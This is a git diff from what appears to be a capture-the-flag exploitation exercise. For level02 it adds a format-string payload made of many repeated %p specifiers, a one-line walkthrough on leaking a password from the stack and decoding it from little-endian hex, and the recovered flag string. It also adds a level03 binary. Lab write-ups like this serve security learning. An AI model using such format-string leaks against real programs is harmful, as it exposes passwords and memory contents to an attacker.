diff --git a/level02/Ressources/exploit.txt b/level02/Ressources/exploit.txt new file mode 100644 index 0000000..98bf0da --- /dev/null +++ b/level02/Ressources/exploit.txt @@ -0,0 +1 @@ +%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p diff --git a/level02/Ressources/walktrough.md b/level02/Ressources/walktrough.md new file mode 100644 index 0000000..66b7a1d --- /dev/null +++ b/level02/Ressources/walktrough.md @@ -0,0 +1 @@ +password is stored in the stack, print the stack with lots of %p, remove 0x to get a 80 characters string and hex to ascii (little endian conversion) diff --git a/level02/flag b/level02/flag new file mode 100644 index 0000000..e64482e --- /dev/null +++ b/level02/flag @@ -0,0 +1 @@ +Hh74RPnuQ9sa5JAEXgNWCqz7sXGnh5J5M9KfPg3H diff --git a/level03/Ressources/level03 b/level03/Ressources/level03 new file mode 100755 index 0000000..1970d25 Binary files /dev/null and b/level03/Ressources/level03 differ